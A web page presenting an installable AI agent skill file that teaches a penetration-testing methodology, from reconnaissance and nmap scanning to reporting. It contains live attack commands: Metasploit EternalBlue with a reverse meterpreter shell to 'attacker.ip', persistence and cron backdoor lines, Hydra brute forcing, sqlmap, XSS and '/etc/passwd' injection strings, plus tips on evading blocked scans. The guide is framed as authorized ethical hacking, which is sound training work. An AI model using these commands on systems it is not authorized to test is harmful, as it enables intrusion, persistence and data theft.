This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
Add this skill
npx mdskills install sickn33/ethical-hacking-methodologyComprehensive penetration testing guide with structured phases and actionable commands
1---2name: Ethical Hacking Methodology3description: This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.4metadata:5 author: zebbern6 version: "1.1"7---89# Ethical Hacking Methodology1011## Purpose1213Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.1415## Prerequisites1617### Required Environment18- Kali Linux installed (persistent or live)19- Network access to authorized targets20- Written authorization from system owner2122### Required Knowledge23- Basic networking concepts24- Linux command-line proficiency25- Understanding of web technologies26- Familiarity with security concepts2728## Outputs and Deliverables29301. **Reconnaissance Report** - Target information gathered312. **Vulnerability Assessment** - Identified weaknesses323. **Exploitation Evidence** - Proof of concept attacks334. **Final Report** - Executive and technical findings3435## Core Workflow3637### Phase 1: Understanding Hacker Types3839Classification of security professionals:4041**White Hat Hackers (Ethical Hackers)**42- Authorized security professionals43- Conduct penetration testing with permission44- Goal: Identify and fix vulnerabilities45- Also known as: penetration testers, security consultants4647**Black Hat Hackers (Malicious)**48- Unauthorized system intrusions49- Motivated by profit, revenge, or notoriety50- Goal: Steal data, cause damage51- Also known as: crackers, criminal hackers5253**Grey Hat Hackers (Hybrid)**54- May cross ethical boundaries55- Not malicious but may break rules56- Often disclose vulnerabilities publicly57- Mixed motivations5859**Other Classifications**60- **Script Kiddies**: Use pre-made tools without understanding61- **Hacktivists**: Politically or socially motivated62- **Nation State**: Government-sponsored operatives63- **Coders**: Develop tools and exploits6465### Phase 2: Reconnaissance6667Gather information without direct system interaction:6869**Passive Reconnaissance**70```bash71# WHOIS lookup72whois target.com7374# DNS enumeration75nslookup target.com76dig target.com ANY77dig target.com MX78dig target.com NS7980# Subdomain discovery81dnsrecon -d target.com8283# Email harvesting84theHarvester -d target.com -b all85```8687**Google Hacking (OSINT)**88```89# Find exposed files90site:target.com filetype:pdf91site:target.com filetype:xls92site:target.com filetype:doc9394# Find login pages95site:target.com inurl:login96site:target.com inurl:admin9798# Find directory listings99site:target.com intitle:"index of"100101# Find configuration files102site:target.com filetype:config103site:target.com filetype:env104```105106**Google Hacking Database Categories:**107- Files containing passwords108- Sensitive directories109- Web server detection110- Vulnerable servers111- Error messages112- Login portals113114**Social Media Reconnaissance**115- LinkedIn: Organizational charts, technologies used116- Twitter: Company announcements, employee info117- Facebook: Personal information, relationships118- Job postings: Technology stack revelations119120### Phase 3: Scanning121122Active enumeration of target systems:123124**Host Discovery**125```bash126# Ping sweep127nmap -sn 192.168.1.0/24128129# ARP scan (local network)130arp-scan -l131132# Discover live hosts133nmap -sP 192.168.1.0/24134```135136**Port Scanning**137```bash138# TCP SYN scan (stealth)139nmap -sS target.com140141# Full TCP connect scan142nmap -sT target.com143144# UDP scan145nmap -sU target.com146147# All ports scan148nmap -p- target.com149150# Top 1000 ports with service detection151nmap -sV target.com152153# Aggressive scan (OS, version, scripts)154nmap -A target.com155```156157**Service Enumeration**158```bash159# Specific service scripts160nmap --script=http-enum target.com161nmap --script=smb-enum-shares target.com162nmap --script=ftp-anon target.com163164# Vulnerability scanning165nmap --script=vuln target.com166```167168**Common Port Reference**169| Port | Service | Notes |170|------|---------|-------|171| 21 | FTP | File transfer |172| 22 | SSH | Secure shell |173| 23 | Telnet | Unencrypted remote |174| 25 | SMTP | Email |175| 53 | DNS | Name resolution |176| 80 | HTTP | Web |177| 443 | HTTPS | Secure web |178| 445 | SMB | Windows shares |179| 3306 | MySQL | Database |180| 3389 | RDP | Remote desktop |181182### Phase 4: Vulnerability Analysis183184Identify exploitable weaknesses:185186**Automated Scanning**187```bash188# Nikto web scanner189nikto -h http://target.com190191# OpenVAS (command line)192omp -u admin -w password --xml="<get_tasks/>"193194# Nessus (via API)195nessuscli scan --target target.com196```197198**Web Application Testing (OWASP)**199- SQL Injection200- Cross-Site Scripting (XSS)201- Broken Authentication202- Security Misconfiguration203- Sensitive Data Exposure204- XML External Entities (XXE)205- Broken Access Control206- Insecure Deserialization207- Using Components with Known Vulnerabilities208- Insufficient Logging & Monitoring209210**Manual Techniques**211```bash212# Directory brute forcing213gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt214215# Subdomain enumeration216gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt217218# Web technology fingerprinting219whatweb target.com220```221222### Phase 5: Exploitation223224Actively exploit discovered vulnerabilities:225226**Metasploit Framework**227```bash228# Start Metasploit229msfconsole230231# Search for exploits232msf> search type:exploit name:smb233234# Use specific exploit235msf> use exploit/windows/smb/ms17_010_eternalblue236237# Set target238msf> set RHOSTS target.com239240# Set payload241msf> set PAYLOAD windows/meterpreter/reverse_tcp242msf> set LHOST attacker.ip243244# Execute245msf> exploit246```247248**Password Attacks**249```bash250# Hydra brute force251hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com252hydra -L users.txt -P passwords.txt ftp://target.com253254# John the Ripper255john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt256```257258**Web Exploitation**259```bash260# SQLMap for SQL injection261sqlmap -u "http://target.com/page.php?id=1" --dbs262sqlmap -u "http://target.com/page.php?id=1" -D database --tables263264# XSS testing265# Manual: <script>alert('XSS')</script>266267# Command injection testing268# ; ls -la269# | cat /etc/passwd270```271272### Phase 6: Maintaining Access273274Establish persistent access:275276**Backdoors**277```bash278# Meterpreter persistence279meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip280281# SSH key persistence282# Add attacker's public key to ~/.ssh/authorized_keys283284# Cron job persistence285echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab286```287288**Privilege Escalation**289```bash290# Linux enumeration291linpeas.sh292linux-exploit-suggester.sh293294# Windows enumeration295winpeas.exe296windows-exploit-suggester.py297298# Check SUID binaries (Linux)299find / -perm -4000 2>/dev/null300301# Check sudo permissions302sudo -l303```304305**Covering Tracks (Ethical Context)**306- Document all actions taken307- Maintain logs for reporting308- Avoid unnecessary system changes309- Clean up test files and backdoors310311### Phase 7: Reporting312313Document findings professionally:314315**Report Structure**3161. **Executive Summary**317 - High-level findings318 - Business impact319 - Risk ratings320 - Remediation priorities3213222. **Technical Findings**323 - Vulnerability details324 - Proof of concept325 - Screenshots/evidence326 - Affected systems3273283. **Risk Ratings**329 - Critical: Immediate action required330 - High: Address within 24-48 hours331 - Medium: Address within 1 week332 - Low: Address within 1 month333 - Informational: Best practice recommendations3343354. **Remediation Recommendations**336 - Specific fixes for each finding337 - Short-term mitigations338 - Long-term solutions339 - Resource requirements3403415. **Appendices**342 - Detailed scan outputs343 - Tool configurations344 - Testing timeline345 - Scope and methodology346347### Phase 8: Common Attack Types348349**Phishing**350- Email-based credential theft351- Fake login pages352- Malicious attachments353- Social engineering component354355**Malware Types**356- **Virus**: Self-replicating, needs host file357- **Worm**: Self-propagating across networks358- **Trojan**: Disguised as legitimate software359- **Ransomware**: Encrypts files for ransom360- **Rootkit**: Hidden system-level access361- **Spyware**: Monitors user activity362363**Network Attacks**364- Man-in-the-Middle (MITM)365- ARP Spoofing366- DNS Poisoning367- DDoS (Distributed Denial of Service)368369### Phase 9: Kali Linux Setup370371Install penetration testing platform:372373**Hard Disk Installation**3741. Download ISO from kali.org3752. Boot from installation media3763. Select "Graphical Install"3774. Configure language, location, keyboard3785. Set hostname and root password3796. Partition disk (Guided - use entire disk)3807. Install GRUB bootloader3818. Reboot and login382383**Live USB (Persistent)**384```bash385# Create bootable USB386dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress387388# Create persistence partition389gparted /dev/sdb390# Add ext4 partition labeled "persistence"391392# Configure persistence393mkdir /mnt/usb394mount /dev/sdb2 /mnt/usb395echo "/ union" > /mnt/usb/persistence.conf396umount /mnt/usb397```398399### Phase 10: Ethical Guidelines400401**Legal Requirements**402- Obtain written authorization403- Define scope clearly404- Document all testing activities405- Report all findings to client406- Maintain confidentiality407408**Professional Conduct**409- Work ethically with integrity410- Respect privacy of data accessed411- Avoid unnecessary system damage412- Execute planned tests only413- Never use findings for personal gain414415## Quick Reference416417### Penetration Testing Lifecycle418419| Stage | Purpose | Key Tools |420|-------|---------|-----------|421| Reconnaissance | Gather information | theHarvester, WHOIS, Google |422| Scanning | Enumerate targets | Nmap, Nikto, Gobuster |423| Exploitation | Gain access | Metasploit, SQLMap, Hydra |424| Maintaining Access | Persistence | Meterpreter, SSH keys |425| Reporting | Document findings | Report templates |426427### Essential Commands428429| Command | Purpose |430|---------|---------|431| `nmap -sV target` | Port and service scan |432| `nikto -h target` | Web vulnerability scan |433| `msfconsole` | Start Metasploit |434| `hydra -l user -P list ssh://target` | SSH brute force |435| `sqlmap -u "url?id=1" --dbs` | SQL injection |436437## Constraints and Limitations438439### Authorization Required440- Never test without written permission441- Stay within defined scope442- Report unauthorized access attempts443444### Professional Standards445- Follow rules of engagement446- Maintain client confidentiality447- Document methodology used448- Provide actionable recommendations449450## Troubleshooting451452### Scans Blocked453454**Solutions:**4551. Use slower scan rates4562. Try different scanning techniques4573. Use proxy or VPN4584. Fragment packets459460### Exploits Failing461462**Solutions:**4631. Verify target vulnerability exists4642. Check payload compatibility4653. Adjust exploit parameters4664. Try alternative exploits467
Full transparency — inspect the skill content before installing.